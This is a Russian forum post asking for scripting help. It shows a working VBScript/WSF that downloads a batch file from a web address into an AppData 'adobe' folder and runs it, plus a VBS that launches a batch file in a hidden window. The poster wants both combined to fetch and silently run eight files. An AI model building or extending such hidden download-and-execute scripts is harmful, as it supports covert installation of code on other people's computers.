Скачивание,открытие,wsf-vbs - Компьютерный форум OSzone.net

Код:

<?xml version='1.0' encoding='windows-1251' standalone='yes'?>

<job>

        <script language='VBScript'>

                <![CDATA[

                        Option Explicit

                        

                        Const adTypeBinary = 1

                        Const adModeReadWrite = 3

                        Const adSaveCreateOverWrite = 2

                        

                        

                        Dim strUrl

                        Dim strDestPath

                        

                        Dim objFSO

                        Dim objShell

                        Dim objXMLHTTPRequest

                        

                        Dim strFullName

                        

                        

                        strUrl = "http://site.ru/1.bat"

                        

                        Set objFSO   = WScript.CreateObject("Scripting.FileSystemObject")

                        Set objShell = WScript.CreateObject("Shell.Application")

                        

                        strDestPath = objFSO.BuildPath(objShell.NameSpace("shell:AppData").self.Path, "adobe")

                        

                        If objFSO.FolderExists(strDestPath) Then

                                Set objXMLHTTPRequest = WScript.CreateObject("Msxml2.XMLHTTP")

                                

                                objXMLHTTPRequest.Open "GET", strUrl,False

                                objXMLHTTPRequest.send

                                

                                If objXMLHTTPRequest.status = 200 Then

                                        strFullName = objFSO.BuildPath(strDestPath, objFSO.GetFileName(decodeURI(strUrl)))

                                        

                                        With WScript.CreateObject("ADODB.Stream")

                                                .Mode = adModeReadWrite

                                                .Type = adTypeBinary

                                                .Open

                                                .Write objXMLHTTPRequest.responseBody

                                                .SaveToFile strFullName, adSaveCreateOverWrite

                                        End With

                                        

                                        objShell.ShellExecute strFullName

                                Else

                                        WScript.Echo "Status: " & CStr(objXMLHTTPRequest.status)

                                End If

                                

                                Set objXMLHTTPRequest = Nothing

                        Else

                                WScript.Echo "Destination path [" & strDestPath & "] not found."

                                WScript.Quit 1

                        End If

                        

                        Set objShell = Nothing

                        Set objFSO   = Nothing

                        

                        WScript.Quit 0

                ]]>

        </script>

        

        <script language='JScript'>

                <![CDATA[

                        function decodeURI(sUrl) {

                                return decodeURI(sUrl);

                        }

                ]]>

        </script>

</job>

Код:

WScript.Sleep 10000

Set WshShell = CreateObject("WScript.Shell")  

WshShell.Run "(Путь Localappdata)\1.bat", 0, false  

Set WshShell = Nothing  

WScript.Quit

Подскажите пожалуйста как с первого wsf увеличить число скачиваемых файлов до 8,а после запустить их в "скрытом" режиме как во втором vbs и что бы все это было в 1 скрипте